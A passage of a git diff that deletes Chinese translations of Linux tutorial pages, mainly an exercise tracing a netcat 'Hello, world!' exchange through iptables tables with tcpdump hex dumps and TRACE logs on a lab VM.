UNKNOWN qlen 500 - link/ether 8a:ed:90:33:93:55 brd ff:ff:ff:ff:ff:ff - inet 10.3.3.3/24 brd 10.3.3.255 scope global tap1 - inet6 fe80::88ed:90ff:fe33:9355/64 scope link - valid_lft forever preferred_lft forever -user1@vm1:~$ -``` - -## 解释 - -1. 打印当前接口配置。 -1. 编辑`/etc/network/interfaces`。 -1. 自动配置`tap0`。 -1. 为`tap0`设置以下 IPv4 静态参数。 -1. 将 IP 地址`10.2.2.2`添加给`tap0`。 -1. 为此 IP 地址指定网络掩码、参数“广播”和“网络”自动 从这个网络掩码导出。 -1. 指定拥有`tap0`接口的用户。 -1. 由于可读性的空行。 -1. 在`tap1`接口出现在系统中时,添加以下参数。 -1. 为`tap1`设置以下 IPv4 静态参数。 -1. 将 IP 地址`10.3.3.3`添加给tap1。 -1. 为此 IP 地址指定网络掩码。 -1. 应用网络配置更改。 -1. 打印当前接口配置。你可以看到`tap0`被添加到接口列表中。 -1. 添加`tap1`伪接口。 -1. 打印当前接口配置。你可以看到`/etc/network/interfaces中指定的参数自动应用于它。 - -## 附加题 - -+ 说明如何导出“网络”和“广播”参数。 -+ 尝试这个:`ping kitty`。预期会失败。现在添加一个条目到`/etc/hosts`,以便你能够成功执行`ping`。 diff --git a/docs/llthw-zh/ex26.md b/docs/llthw-zh/ex26.md deleted file mode 100644 index b2324bd3..00000000 --- a/docs/llthw-zh/ex26.md +++ /dev/null @@ -1,622 +0,0 @@ -# 练习 26:网络:封包过滤配置,`iptables` - -> 原文:[Exercise 26. Networking: packet filter configuration, iptables](https://archive.fo/D3zbt) - -> 译者:[飞龙](https://github.com/wizardforcel) - -> 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/) - -> 自豪地采用[谷歌翻译](https://translate.google.cn/) - -让我以引用维基百科上的[`iptables`](http://en.wikipedia.org/wiki/Iptables)来开始: - -> `iptables`是一个用户态应用程序,允许系统管理员配置由 Linux 内核防火墙(实现为不同的 Netfilter 模块)提供的表,以及它存储的链和规则。不同的内核模块和程序目前用于不同的协议;`iptables`适用于 IPv4,`ip6tables`适用于 IPv6,`arptables`适用于 ARP,`ebtables`适用于以太网帧。 - -为了使用它,你必须了解以下概念: - -+ [`LINKTYPE_LINUX_SLL`](http://www.tcpdump.org/linktypes/LINKTYPE_LINUX_SLL.html) - `tcpdump`伪链路层协议。 -+ [以太网帧头部](http://en.wikipedia.org/wiki/Ethernet_frame%23Header) - 以太网链路上的数据包称为以太网帧。帧以前缀和起始分隔符开始。接下来,每个以太网帧都有一个头部,其特征为源和目标 MAC 地址。帧的中间部分是载荷数据,包含帧中携带的其他协议(例如,互联网协议)的任何头部。该帧以 32 位循环冗余校验(CRC)结束,用于检测传输中数据的任何损坏。 -+ [IPv4 头部](http://en.wikipedia.org/wiki/IPv4_header%23IPv4%20header) - IP 封包包括头部部分和数据部分。IPv4 封包头部由 14 个字段组成,其中 13 个是必需的。第十四个字段是可选的,适当地命名为:`options`。 -+ [TCP 段结构](http://en.wikipedia.org/wiki/Transmission_Control_Protocol%23TCP_segment_structure) - 传输控制协议接受来自数据流的数据,将其分割成块,并添加 TCP 头部来创建 TCP 段。TCP 段然后被封装成互联网协议(IP)数据报。TCP 段是“信息封包,TCP 用于与对方交换数据”。 - -我会提醒你,让你获取一些指南: - -+ 阅读相应的维基百科文章,直到你至少表面上理解了它(但是深入研究当然更好)。 - + 展开站点左侧的 IP 地址树节点,并通过它来以你的方式实现。 - + 展开 TCP 树节点并执行相同操作。 -+ 阅读 [Linux 网络概念介绍](http://www.iptables.org/documentation/HOWTO//networking-concepts-HOWTO-3.html%23ss3.1)。这本指南很好,因为它甚至承认 互联网是为情欲而生的。 - -比起 [Peter Harrison 的优秀指南](http://www.linuxhomenetworking.com/wiki/index.php/Quick_HOWTO_:_Ch14_:_Linux_Firewalls_Using_iptables),我没办法更好地描述`iptables`了。如果你从未使用过它,请先阅读本指南。 - -但是,我将会将理论付诸实践,并 在数据交换的一个非常简单的情况下,逐步展示出`iptalbes`内部的内容。第一件事情是主要概念: - -`iptables` - 用于在 Linux 内核中设置,维护和检查 IPv4 包过滤规则表的程序。可以定义几个不同的表。每个表包含多个内置链,并且还可以包含用户定义的链。 -`ip6tables` - 用于 IPv6 的相同东西。 -链 - 可以匹配一组数据包的规则列表。每个规则规定了,如何处理匹配的数据包。这被称为目标,它可能是相同表中的,用户定义的链的跳转。 -目标 - 防火墙规则为封包和目标指定了判别标准。如果数据包不匹配,就会检查的链中的下一个规则;如果它匹配,则下一个规则由目标的值指定,该值可以是用户定义链的名称或特殊值之一: - -`ACCEPT` - 让包通过。 -`DROP` - 将数据包丢弃。 -`QUEUE` - 将数据包传递给用户空间。 -`RETURN` - 停止遍历此链,并在上一个(调用)链中的下一个规则处恢复。如果达到了内置链的结尾,或者内置链中的一个带有`RETURN`的规则匹配它,链策略指定的目标决定了数据包的命运。 - -现在让我们看看有什么默认的表和内置的链: - -| 表名 | 内置链 | 描述 | -| --- | --- | --- | -| `raw` | | 该表主要用于配置与`NOTRACK`目标结合的连接跟踪的免除。它以较高的优先级在`netfilter`钩子中注册,因此在`ip_conntrack`或任何其他 IP 表之前调用。 | -| | PREROUTING | 用于经过任何网络接口到达的封包。 | -| | OUTPUT | 用于本地进程生成的封包。 | -| `mangle` | | 该表用于专门的数据包更改。 | -| | PREROUTING | 用于在路由之前更改传入的数据包。 | -| | OUTPUT | 用于在路由之前更改本地生成的数据包。 | -| | INPUT | 用于进入本机的数据包。 | -| | FORWARD | 用于经过本机的数据包。 | -| | POSTROUTING | 用于当数据包打算出去时,更改它们。 | -| `nat` | | 当遇到创建新连接的数据包时,将查看此表。 | -| | PREROUTING | 用于一旦数据包进来,就更改它们。 | -| | OUTPUT | 用于在路由之前更改本地生成的数据包。 | -| | POSTROUTING | 用于当数据包打算出去时,更改它们。 | -| `filter` | | 这是默认表(如果没有传入`-t`选项)。 | -| | INPUT | 用于发往本地套接字的数据包。 | -| | FORWARD | 用于经过本机的数据包。 | -| | OUTPUT | 用于本地生成的数据包。 | - -好的,我们准备看看它实际如何运作。我会从我的家用计算机,使用 TCP 协议和`netcat`向`vm1`发送一个字符串`Hello world!`,`netcat`就像`cat`一样,但是通过网络。起步: - -1\. 我将另一个端口,80,转发到我运行 Linux 的家用 PC,所以我能象这样连接它: - -``` -(My home PC) --> vm1:80 -``` - -2\. 我将这个规则添加到`iptables`,来记录`iptables`内部的数据包发生了什么。 - -``` -sudo iptables -t raw -A PREROUTING -p tcp -m tcp --dport 80 -j TRACE -sudo iptables -t raw -A INPUT -p tcp -m tcp --sport 80 -j TRACE -``` - -这是我的`vm1`上的`iptables`规则集: - -``` -root@vm1:/home/user1# for i in raw mangle nat filter ; do echo -e "\n-----" TABLE: $i '-----' ; iptables -t $i -L ; done - ------ TABLE: raw ----- -Chain PREROUTING (policy ACCEPT) target prot opt source destination - TRACE tcp -- anywhere anywhere tcp dpt:www -Chain OUTPUT (policy ACCEPT) target prot opt source destination - TRACE tcp -- anywhere anywhere tcp spt:www ------ TABLE: mangle ----- -Chain PREROUTING (policy ACCEPT) target prot opt source destination -Chain INPUT (policy ACCEPT) target prot opt source destination -Chain FORWARD (policy ACCEPT) target prot opt source destination -Chain OUTPUT (policy ACCEPT) target prot opt source destination -Chain POSTROUTING (policy ACCEPT) target prot opt source destination - ------ TABLE: nat ----- -Chain PREROUTING (policy ACCEPT) target prot opt source destination -Chain POSTROUTING (policy ACCEPT) target prot opt source destination -Chain OUTPUT (policy ACCEPT) target prot opt source destination - ------ TABLE: filter ----- -Chain INPUT (policy ACCEPT) target prot opt source destination -Chain FORWARD (policy ACCEPT) target prot opt source destination -Chain OUTPUT (policy ACCEPT) target prot opt source destination -``` - -你可以看到,没有其它规则了。另一种查看`iptables`规则的方式,是使用`iptables-save`工具: - -``` -root@vm1:/home/user1# iptables-save -# Generated by iptables-save v1.4.8 on Fri Jul 13 08:09:04 2012 -#(1) -*mangle -#(2) (3) (4) (5) -:PREROUTING ACCEPT [15662:802240] -:INPUT ACCEPT [15662:802240] -:FORWARD ACCEPT [0:0] -:OUTPUT ACCEPT [12756:3671974] -:POSTROUTING ACCEPT [12756:3671974] -COMMIT -# Completed on Fri Jul 13 08:09:04 2012 -# Generated by iptables-save v1.4.8 on Fri Jul 13 08:09:04 2012 -*nat -:PREROUTING ACCEPT [18:792] -:POSTROUTING ACCEPT [42:2660] -:OUTPUT ACCEPT [42:2660] -COMMIT -# Completed on Fri Jul 13 08:09:04 2012 -# Generated by iptables-save v1.4.8 on Fri Jul 13 08:09:04 2012 -*raw -:PREROUTING ACCEPT [15854:814892] -:OUTPUT ACCEPT [12855:3682054] --A PREROUTING -p tcp -m tcp --dport 80 -j TRACE --A OUTPUT -p tcp -m tcp --sport 80 -j TRACE -COMMIT -# Completed on Fri Jul 13 08:09:04 2012 -# Generated by iptables-save v1.4.8 on Fri Jul 13 08:09:04 2012 -*filter -:INPUT ACCEPT [35107:2459066] -:FORWARD ACCEPT [0:0] -:OUTPUT ACCEPT [26433:10670628] -COMMIT -# Completed on Fri Jul 13 08:09:04 2012 -``` - -` iptables-save`字段如下所示: - -| 字段 | 描述 | -| --- | --- | -| (1) | 表名称 | -| (2) | 链名称 | -| (3) | 链策略 | -| (4) | 封包计数 | -| (5) | 字节计数 | - -3\. 我启动`nc`来监听端口 80: - -``` -nc -l 80 -``` - -4\. 我向`vm1`发送字符串: - -``` -echo 'Hello, world!' | nc localhost 80 -``` - -下面的是我的家用 PC 和`vm1`之间的交换: - -``` -08:00:05.655339 IP 10.0.2.2.51534 > 10.0.2.15.80: Flags [S], seq 4164179969, win 65535, options [mss 1460], length 0 -08:00:05.655653 IP 10.0.2.15.80 > 10.0.2.2.51534: Flags [S.], seq 4149908960, ack 4164179970, win 5840, options [mss 1460], length 0 -08:00:05.655773 IP 10.0.2.2.51534 > 10.0.2.15.80: Flags [.], ack 1, win 65535, length 0 -08:00:05.655868 IP 10.0.2.2.51534 > 10.0.2.15.80: Flags [P.], seq 1:15, ack 1, win 65535, length 14 -08:00:05.655978 IP 10.0.2.15.80 > 10.0.2.2.51534: Flags [.], ack 15, win 5840, length 0 -08:00:10.037978 IP 10.0.2.2.51534 > 10.0.2.15.80: Flags [F.], seq 15, ack 1, win 65535, length 0 -08:00:10.038287 IP 10.0.2.15.80 > 10.0.2.2.51534: Flags [F.], seq 1, ack 16, win 5840, length 0 -08:00:10.038993 IP 10.0.2.2.51534 > 10.0.2.15.80: Flags [.], ack 2, win 65535, length 0 -``` - -让我们回忆,数据如何交换。为此,让我们拆开第一个封包。 - -``` -# (13) (15) (14) (16) (20) (17) (25) -08:00:05.655339 IP 10.0.2.2.51534 > 10.0.2.15.80: Flags [S], seq 4164179969, win 65535, -# (8) (9) -options [mss 1460], length 0 -# (1) (2) (3) (4) (5) -# ____ ____ ____ ___________________ ____ - 0x0000: 0000 0001 0006 5254 0012 3502 0000 0800 ......RT..5..... -# (6) (7) (8) (9)(10,11)(12) (13) -# ____ ____ ____ ____ /\/\ ____ _________ - 0x0010: 4500 002c a006 0000 4006 c2b5 0a00 0202 E..,....@....... -# (14) (15) (16) (17) (18) -# _________ ____ ____ _________ __________ - 0x0020: 0a00 020f c94e 0050 f834 5801 0000 0000 .....N.P.4X..... -# (19,20)(21) (22) (23) (24) (25) -# /\/\ ____ ____ ____ ____ ____ - 0x0030: 6002 ffff 6641 0000 0204 05b4 0000 `...fA........ -``` - -我们封包中的字段和描述: - -| DOD 模型层 | OSI 模型层 | 位于 | 字段 | 描述 | -| --- | --- | --- | --- | --- | --- | -| 链路 | 物理/数据链路 | `LINUX_SLL` 头部 | (1) | 封包类型 | -| | | | (2) | `ARPHRD_` 类型 | -| | | | (3) | 链路层 (MAC) 地址长度 | -| | | | (4) | 链路层 (MAC) 源地址 | -| | | | (5) | 协议类型 (IP) | -| 互联网 | 网络 | IPv4 头部 | (6) | 版本,互联网头部长度,差分服务代码点,显式拥塞通知. | -| | | | (7) | 总长度 | -| | | | (8) | 身份,主要用于源 IP 数据报的段的唯一性鉴定 | -| | | | (9) | 标志,段的偏移 | -| | | | (10) | 生存时间 (TTL) | -| | | | (11) | 协议编号 | -| | | | (12) | 头部校验和 | -| | | | (13) | 源 IP 地址 | -| | | | (14) | 目标 IP 地址 | -| 传输 | 传输 | TCP 头部 | (15) | 源 TCP 端口 | -| | | | (16) | 目标 TCP 端口 | -| | | | (17) | TCP 初始序列号 | -| | | | (18) | ACK 编号字段 (空的,由于它是第一个封包) | -| | | | (19) | | -| | | | (20) | SYN TCP 标志 | -| | | | (21) | TCP 窗口大小 | -| | | | (22) | TCP 校验和 | -| | | | (23) | 紧急指针 | -| | | | (24) | 可选字段的开始 | -| | | | (25) | TCP 最大段大小 (最大传输单元 - 40 字节) | - -让我们看看`iptables`中,这个封包发生了什么: - -``` -#(1)(2) (3) (4) (5) (6) (7) (8) (9) (10) (11) (12) -raw:PREROUTING:policy:2 IN=eth0 OUT= MAC=08:00:27:d4:45:68:52:54:00:12:35:02:08:00 SRC=10.0.2.2 DST=10.0.2.15 -# (13) (14) (15) (16) (17) (18) (19) (20) - LEN=44 TOS=0x00 PREC=0x00 TTL=64 ID=40966 PROTO=TCP SPT=51534 DPT=80 -# (21) (22) (23) (24) (25)(26) (27) - SEQ=4164179969 ACK=0 WINDOW=65535 RES=0x00 SYN URGP=0 OPT (020405B4) -mangle:PREROUTING:policy:1 IN=eth0 OUT= MAC=08:00:27:d4:45:68:52:54:00:12:35:02:08:00 SRC=10.0.2.2 DST=10.0.2.15 - LEN=44 TOS=0x00 PREC=0x00 TTL=64 ID=40966 PROTO=TCP SPT=51534 DPT=80 - SEQ=4164179969 ACK=0 WINDOW=65535 RES=0x00 SYN URGP=0 OPT (020405B4) -nat:PREROUTING:policy:1 IN=eth0 OUT= MAC=08:00:27:d4:45:68:52:54:00:12:35:02:08:00 SRC=10.0.2.2 DST=10.0.2.15 - LEN=44 TOS=0x00 PREC=0x00 TTL=64 ID=40966 PROTO=TCP SPT=51534 DPT=80 - SEQ=4164179969 ACK=0 WINDOW=65535 RES=0x00 SYN URGP=0 OPT (020405B4) -mangle:INPUT:policy:1 IN=eth0 OUT= MAC=08:00:27:d4:45:68:52:54:00:12:35:02:08:00 SRC=10.0.2.2 DST=10.0.2.15 - LEN=44 TOS=0x00 PREC=0x00 TTL=64 ID=40966 PROTO=TCP SPT=51534 DPT=80 - SEQ=4164179969 ACK=0 WINDOW=65535 RES=0x00 SYN URGP=0 OPT (020405B4) -filter:INPUT:policy:1 IN=eth0 OUT= MAC=08:00:27:d4:45:68:52:54:00:12:35:02:08:00 SRC=10.0.2.2 DST=10.0.2.15 - LEN=44 TOS=0x00 PREC=0x00 TTL=64 ID=40966 PROTO=TCP SPT=51534 DPT=80 - SEQ=4164179969 ACK=0 WINDOW=65535 RES=0x00 SYN URGP=0 OPT (020405B4) -``` - -`iptables`日志的字段的描述: - -| 字段 | 描述 | -| --- | --- | -| (1) | 表名称 | -| (2) | 链名称 | -| (3) | 类型 (用于内建链的策略) | -| (4) | 规则编号 | -| (5) | 输入接口 | -| (6) | 输出接口 (空的,因为封包的目标是 vm1 自身) | -| (7) | MAC 地址 | -| (8) | 目标 (vm1) MAC | -| (9) | 源 MAC | -| (10) | 协议类型:IP | -| (11) | 源 IP 地址 | -| (12) | 目标 IP 地址 | -| (13) | IP 封包长度,以字节为单位 (不包括链路层头部) | -| (14) | IP 服务类型 | -| (15) | IP 优先级 | -| (16) | IP 生存时间 | -| (17) | IP 封包 ID | -| (18) | 协议类型:TCP | -| (19) | TCP 源端口 | -| (20) | TCP 目标端口 | -| (21) | TCP 序列号 | -| (22) | TCP 应答编号 | -| (23) | TCP 窗口大小 | -| (24) | TCP 保留位 | -| (25) | TCP SYN 标志已设置 | -| (25) | TCP 紧急指针未设置 | -| (25) | TCP 选项 | - -现在我将使用`tcpdump`输出和`iptables`日志,并排(更多的是逐段)向你显示这个交换。你的任务是逐行浏览这个交换,了解会发生什么。我建议你打印这个交换,并使用笔和纸进行处理它,你可以从[特殊页面](http://nixsrv.com/llthw/ex26/log)打印它。你需要回答的问题是: - -+ 每个字段的意思是什么?拿着铅笔,将字段从`tcpdump`的踪迹连接到原始数据包的十六进制数据,再到`iptables`日志。 -+ 数据包以什么顺序进行处理?首先是哪个表,最后是哪个,为什么? -+ 为什么只有第一个数据包通过`nat`表进行处理? - -这是输出,看看: - -``` -08:00:05.655339 IP 10.0.2.2.51534 > 10.0.2.15.80: Flags [S], seq 4164179969, win 65535, options [mss 1460], length 0 - 0x0000: 0000 0001 0006 5254 0012 3502 0000 0800 ......RT..5..... - 0x0010: 4500 002c a006 0000 4006 c2b5 0a00 0202 E..,....@....... - 0x0020: 0a00 020f c94e 0050 f834 5801 0000 0000 .....N.P.4X..... - 0x0030: 6002 ffff 6641 0000 0204 05b4 0000 `...fA........ -` -raw:PREROUTING:policy:2 IN=eth0 OUT= MAC=08:00:27:d4:45:68:52:54:00:12:35:02:08:00 SRC=10.0.2.2 DST=10.0.2.15 - LEN=44 TOS=0x00 PREC=0x00 TTL=64 ID=40966 PROTO=TCP SPT=51534 DPT=80 - SEQ=4164179969 ACK=0 WINDOW=65535 RES=0x00 SYN URGP=0 OPT (020405B4) -mangle:PREROUTING:policy:1 IN=eth0 OUT= MAC=08:00:27:d4:45:68:52:54:00:12:35:02:08:00 SRC=10.0.2.2 DST=10.0.2.15 - LEN=44 TOS=0x00 PREC=0x00 TTL=64 ID=40966 PROTO=TCP SPT=51534 DPT=80 - SEQ=4164179969 ACK=0 WINDOW=65535 RES=0x00 SYN URGP=0 OPT (020405B4) -nat:PREROUTING:policy:1 IN=eth0 OUT= MAC=08:00:27:d4:45:68:52:54:00:12:35:02:08:00 SRC=10.0.2.2 DST=10.0.2.15 - LEN=44 TOS=0x00 PREC=0x00 TTL=64 ID=40966 PROTO=TCP SPT=51534 DPT=80 - SEQ=4164179969 ACK=0 WINDOW=65535 RES=0x00 SYN URGP=0 OPT (020405B4) -mangle:INPUT:policy:1 IN=eth0 OUT= MAC=08:00:27:d4:45:68:52:54:00:12:35:02:08:00 SRC=10.0.2.2 DST=10.0.2.15 - LEN=44 TOS=0x00 PREC=0x00 TTL=64 ID=40966 PROTO=TCP SPT=51534 DPT=80 - SEQ=4164179969 ACK=0 WINDOW=65535 RES=0x00 SYN URGP=0 OPT (020405B4) -filter:INPUT:policy:1 IN=eth0 OUT= MAC=08:00:27:d4:45:68:52:54:00:12:35:02:08:00 SRC=10.0.2.2 DST=10.0.2.15 - LEN=44 TOS=0x00 PREC=0x00 TTL=64 ID=40966 PROTO=TCP SPT=51534 DPT=80 - SEQ=4164179969 ACK=0 WINDOW=65535 RES=0x00 SYN URGP=0 OPT (020405B4) - -08:00:05.655653 IP 10.0.2.15.80 > 10.0.2.2.51534: Flags [S.], seq 4149908960, ack 4164179970, win 5840, options [mss 1460], length 0 - 0x0000: 0004 0001 0006 0800 27d4 4568 0000 0800 ........'.Eh.... - 0x0010: 4500 002c 0000 4000 4006 22bc 0a00 020f E..,..@.@."..... - 0x0020: 0a00 0202 0050 c94e f75a 95e0 f834 5802 .....P.N.Z...4X. - 0x0030: 6012 16d0 c224 0000 0204 05b4 `....$...... -' -raw:OUTPUT:policy:2 IN= OUT=eth0 SRC=10.0.2.15 DST=10.0.2.2 - LEN=44 TOS=0x00 PREC=0x00 TTL=64 ID=0 DF PROTO=TCP SPT=80 DPT=51534 - SEQ=4149908960 ACK=4164179970 WINDOW=5840 RES=0x00 ACK SYN URGP=0 OPT (020405B4) UID=0 GID=0 -mangle:OUTPUT:policy:1 IN= OUT=eth0 SRC=10.0.2.15 DST=10.0.2.2 - LEN=44 TOS=0x00 PREC=0x00 TTL=64 ID=0 DF PROTO=TCP SPT=80 DPT=51534 - SEQ=4149908960 ACK=4164179970 WINDOW=5840 RES=0x00 ACK SYN URGP=0 OPT (020405B4) UID=0 GID=0 -filter:OUTPUT:policy:1 IN= OUT=eth0 SRC=10.0.2.15 DST=10.0.2.2 - LEN=44 TOS=0x00 PREC=0x00 TTL=64 ID=0 DF PROTO=TCP SPT=80 DPT=51534 - SEQ=4149908960 ACK=4164179970 WINDOW=5840 RES=0x00 ACK SYN URGP=0 OPT (020405B4) UID=0 GID=0 -mangle:POSTROUTING:policy:1 IN= OUT=eth0 SRC=10.0.2.15 DST=10.0.2.2 - LEN=44 TOS=0x00 PREC=0x00 TTL=64 ID=0 DF PROTO=TCP SPT=80 DPT=51534 - SEQ=4149908960 ACK=4164179970 WINDOW=5840 RES=0x00 ACK SYN URGP=0 OPT (020405B4) UID=0 GID=0 - -08:00:05.655773 IP 10.0.2.2.51534 > 10.0.2.15.80: Flags [.], ack 1, win 65535, length 0 - 0x0000: 0000 0001 0006 5254 0012 3502 0000 0800 ......RT..5..... - 0x0010: 4500 0028 a007 0000 4006 c2b8 0a00 0202 E..(....@....... - 0x0020: 0a00 020f c94e 0050 f834 5802 f75a 95e1 .....N.P.4X..Z.. - 0x0030: 5010 ffff f0b1 0000 0000 0000 0000 P............. - -raw:PREROUTING:policy:2 IN=eth0 OUT= MAC=08:00:27:d4:45:68:52:54:00:12:35:02:08:00 SRC=10.0.2.2 DST=10.0.2.15 - LEN=40 TOS=0x00 PREC=0x00 TTL=64 ID=40967 PROTO=TCP SPT=51534 DPT=80 - SEQ=4164179970 ACK=4149908961 WINDOW=65535 RES=0x00 ACK URGP=0 -mangle:PREROUTING:policy:1 IN=eth0 OUT= MAC=08:00:27:d4:45:68:52:54:00:12:35:02:08:00 SRC=10.0.2.2 DST=10.0.2.15 - LEN=40 TOS=0x00 PREC=0x00 TTL=64 ID=40967 PROTO=TCP SPT=51534 DPT=80 - SEQ=4164179970 ACK=4149908961 WINDOW=65535 RES=0x00 ACK URGP=0 -mangle:INPUT:policy:1 IN=eth0 OUT= MAC=08:00:27:d4:45:68:52:54:00:12:35:02:08:00 SRC=10.0.2.2 DST=10.0.2.15 - LEN=40 TOS=0x00 PREC=0x00 TTL=64 ID=40967 PROTO=TCP SPT=51534 DPT=80 - SEQ=4164179970 ACK=4149908961 WINDOW=65535 RES=0x00 ACK URGP=0 -filter:INPUT:policy:1 IN=eth0 OUT= MAC=08:00:27:d4:45:68:52:54:00:12:35:02:08:00 SRC=10.0.2.2 DST=10.0.2.15 - LEN=40 TOS=0x00 PREC=0x00 TTL=64 ID=40967 PROTO=TCP SPT=51534 DPT=80 - SEQ=4164179970 ACK=4149908961 WINDOW=65535 RES=0x00 ACK URGP=0 - -08:00:05.655868 IP 10.0.2.2.51534 > 10.0.2.15.80: Flags [P.], seq 1:15, ack 1, win 65535, length 14 - 0x0000: 0000 0001 0006 5254 0012 3502 0000 0800 ......RT..5..... - 0x0010: 4500 0036 a008 0000 4006 c2a9 0a00 0202 E..6....@....... - 0x0020: 0a00 020f c94e 0050 f834 5802 f75a 95e1 .....N.P.4X..Z.. - 0x0030: 5018 ffff af45 0000 4865 6c6c 6f2c 2077 P....E..Hello,.w - 0x0040: 6f72 6c64 210a orld!. - -raw:PREROUTING:policy:2 IN=eth0 OUT= MAC=08:00:27:d4:45:68:52:54:00:12:35:02:08:00 SRC=10.0.2.2 DST=10.0.2.15 - LEN=54 TOS=0x00 PREC=0x00 TTL=64 ID=40968 PROTO=TCP SPT=51534 DPT=80 - SEQ=4164179970 ACK=4149908961 WINDOW=65535 RES=0x00 ACK PSH URGP=0 -mangle:PREROUTING:policy:1 IN=eth0 OUT= MAC=08:00:27:d4:45:68:52:54:00:12:35:02:08:00 SRC=10.0.2.2 DST=10.0.2.15 - LEN=54 TOS=0x00 PREC=0x00 TTL=64 ID=40968 PROTO=TCP SPT=51534 DPT=80 - SEQ=4164179970 ACK=4149908961 WINDOW=65535 RES=0x00 ACK PSH URGP=0 -mangle:INPUT:policy:1 IN=eth0 OUT= MAC=08:00:27:d4:45:68:52:54:00:12:35:02:08:00 SRC=10.0.2.2 DST=10.0.2.15 - LEN=54 TOS=0x00 PREC=0x00 TTL=64 ID=40968 PROTO=TCP SPT=51534 DPT=80 - SEQ=4164179970 ACK=4149908961 WINDOW=65535 RES=0x00 ACK PSH URGP=0 -filter:INPUT:policy:1 IN=eth0 OUT= MAC=08:00:27:d4:45:68:52:54:00:12:35:02:08:00 SRC=10.0.2.2 DST=10.0.2.15 - LEN=54 TOS=0x00 PREC=0x00 TTL=64 ID=40968 PROTO=TCP SPT=51534 DPT=80 - SEQ=4164179970 ACK=4149908961 WINDOW=65535 RES=0x00 ACK PSH URGP=0 - -08:00:05.655978 IP 10.0.2.15.80 > 10.0.2.2.51534: Flags [.], ack 15, win 5840, length 0 - 0x0000: 0004 0001 0006 0800 27d4 4568 0000 0800 ........'.Eh.... - 0x0010: 4500 0028 377c 4000 4006 eb43 0a00 020f E..(7|@.@..C.... - 0x0020: 0a00 0202 0050 c94e f75a 95e1 f834 5810 .....P.N.Z...4X. - 0x0030: 5010 16d0 d9d3 0000 P....... -' -raw:OUTPUT:policy:2 IN= OUT=eth0 SRC=10.0.2.15 DST=10.0.2.2 - LEN=40 TOS=0x00 PREC=0x00 TTL=64 ID=14204 DF PROTO=TCP SPT=80 DPT=51534 - SEQ=4149908961 ACK=4164179984 WINDOW=5840 RES=0x00 ACK URGP=0 -mangle:OUTPUT:policy:1 IN= OUT=eth0 SRC=10.0.2.15 DST=10.0.2.2 - LEN=40 TOS=0x00 PREC=0x00 TTL=64 ID=14204 DF PROTO=TCP SPT=80 DPT=51534 - SEQ=4149908961 ACK=4164179984 WINDOW=5840 RES=0x00 ACK URGP=0 -filter:OUTPUT:policy:1 IN= OUT=eth0 SRC=10.0.2.15 DST=10.0.2.2 - LEN=40 TOS=0x00 PREC=0x00 TTL=64 ID=14204 DF PROTO=TCP SPT=80 DPT=51534 - SEQ=4149908961 ACK=4164179984 WINDOW=5840 RES=0x00 ACK URGP=0 -mangle:POSTROUTING:policy:1 IN= OUT=eth0 SRC=10.0.2.15 DST=10.0.2.2 - LEN=40 TOS=0x00 PREC=0x00 TTL=64 ID=14204 DF PROTO=TCP SPT=80 DPT=51534 - SEQ=4149908961 ACK=4164179984 WINDOW=5840 RES=0x00 ACK URGP=0 - -08:00:10.037978 IP 10.0.2.2.51534 > 10.0.2.15.80: Flags [F.], seq 15, ack 1, win 65535, length 0 - 0x0000: 0000 0001 0006 5254 0012 3502 0000 0800 ......RT..5..... - 0x0010: 4500 0028 a00e 0000 4006 c2b1 0a00 0202 E..(....@....... - 0x0020: 0a00 020f c94e 0050 f834 5810 f75a 95e1 .....N.P.4X..Z.. - 0x0030: 5011 ffff f0a2 0000 0000 0000 0000 P............. - -raw:PREROUTING:policy:2 IN=eth0 OUT= MAC=08:00:27:d4:45:68:52:54:00:12:35:02:08:00 SRC=10.0.2.2 DST=10.0.2.15 - LEN=40 TOS=0x00 PREC=0x00 TTL=64 ID=40974 PROTO=TCP SPT=51534 DPT=80 - SEQ=4164179984 ACK=4149908961 WINDOW=65535 RES=0x00 ACK FIN URGP=0 -mangle:PREROUTING:policy:1 IN=eth0 OUT= MAC=08:00:27:d4:45:68:52:54:00:12:35:02:08:00 SRC=10.0.2.2 DST=10.0.2.15 - LEN=40 TOS=0x00 PREC=0x00 TTL=64 ID=40974 PROTO=TCP SPT=51534 DPT=80 - SEQ=4164179984 ACK=4149908961 WINDOW=65535 RES=0x00 ACK FIN URGP=0 -mangle:INPUT:policy:1 IN=eth0 OUT= MAC=08:00:27:d4:45:68:52:54:00:12:35:02:08:00 SRC=10.0.2.2 DST=10.0.2.15 - LEN=40 TOS=0x00 PREC=0x00 TTL=64 ID=40974 PROTO=TCP SPT=51534 DPT=80 - SEQ=4164179984 ACK=4149908961 WINDOW=65535 RES=0x00 ACK FIN URGP=0 -filter:INPUT:policy:1 IN=eth0 OUT= MAC=08:00:27:d4:45:68:52:54:00:12:35:02:08:00 SRC=10.0.2.2 DST=10.0.2.15 - LEN=40 TOS=0x00 PREC=0x00 TTL=64 ID=40974 PROTO=TCP SPT=51534 DPT=80 - SEQ=4164179984 ACK=4149908961 WINDOW=65535 RES=0x00 ACK FIN URGP=0 - -08:00:10.038287 IP 10.0.2.15.80 > 10.0.2.2.51534: Flags [F.], seq 1, ack 16, win 5840, length 0 - 0x0000: 0004 0001 0006 0800 27d4 4568 0000 0800 ........'.Eh.... - 0x0010: 4500 0028 377d 4000 4006 eb42 0a00 020f E..(7}@.@..B.... - 0x0020: 0a00 0202 0050 c94e f75a 95e1 f834 5811 .....P.N.Z...4X. - 0x0030: 5011 16d0 d9d1 0000 P....... -' -raw:OUTPUT:policy:2 IN= OUT=eth0 SRC=10.0.2.15 DST=10.0.2.2 - LEN=40 TOS=0x00 PREC=0x00 TTL=64 ID=14205 DF PROTO=TCP SPT=80 DPT=51534 - SEQ=4149908961 ACK=4164179985 WINDOW=5840 RES=0x00 ACK FIN URGP=0 UID=0 GID=0 -mangle:OUTPUT:policy:1 IN= OUT=eth0 SRC=10.0.2.15 DST=10.0.2.2 - LEN=40 TOS=0x00 PREC=0x00 TTL=64 ID=14205 DF PROTO=TCP SPT=80 DPT=51534 - SEQ=4149908961 ACK=4164179985 WINDOW=5840 RES=0x00 ACK FIN URGP=0 UID=0 GID=0 -filter:OUTPUT:policy:1 IN= OUT=eth0 SRC=10.0.2.15 DST=10.0.2.2 - LEN=40 TOS=0x00 PREC=0x00 TTL=64 ID=14205 DF PROTO=TCP SPT=80 DPT=51534 - SEQ=4149908961 ACK=4164179985 WINDOW=5840 RES=0x00 ACK FIN URGP=0 UID=0 GID=0 -mangle:POSTROUTING:policy:1 IN= OUT=eth0 SRC=10.0.2.15 DST=10.0.2.2 - LEN=40 